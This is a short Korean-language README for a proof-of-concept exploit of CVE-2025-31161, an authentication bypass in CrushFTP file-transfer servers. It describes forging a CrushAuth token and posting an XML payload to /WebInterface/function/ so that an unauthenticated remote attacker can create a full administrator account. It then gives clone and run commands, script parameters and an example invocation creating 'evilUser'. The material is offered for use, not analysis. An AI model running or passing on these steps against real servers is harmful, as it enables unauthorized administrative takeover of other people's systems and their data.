
PoC CVE-2025-31161 - CrushFTP 인증 우회
PoC CVE-2025-31161 - CrushFTP 인증 우회
CrushAuth 토큰을 위조하고 완전한 권한을 가진 관리자 사용자를 생성할 수 있음.이 익스플로잇은 CrushFTP의 심각한 취약점을 대상으로 하며, 원격의 인증되지 않은 공격자가 인증을 우회하고 임의의 관리자 사용자를 생성할 수 있습니다.
이는 유효한 모양의 CrushAuth 토큰을 제작하고 /WebInterface/function/ 엔드포인트를 악용하여 완전히 형성된 XML 페이로드를 제출하는 방식으로 작동합니다.
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345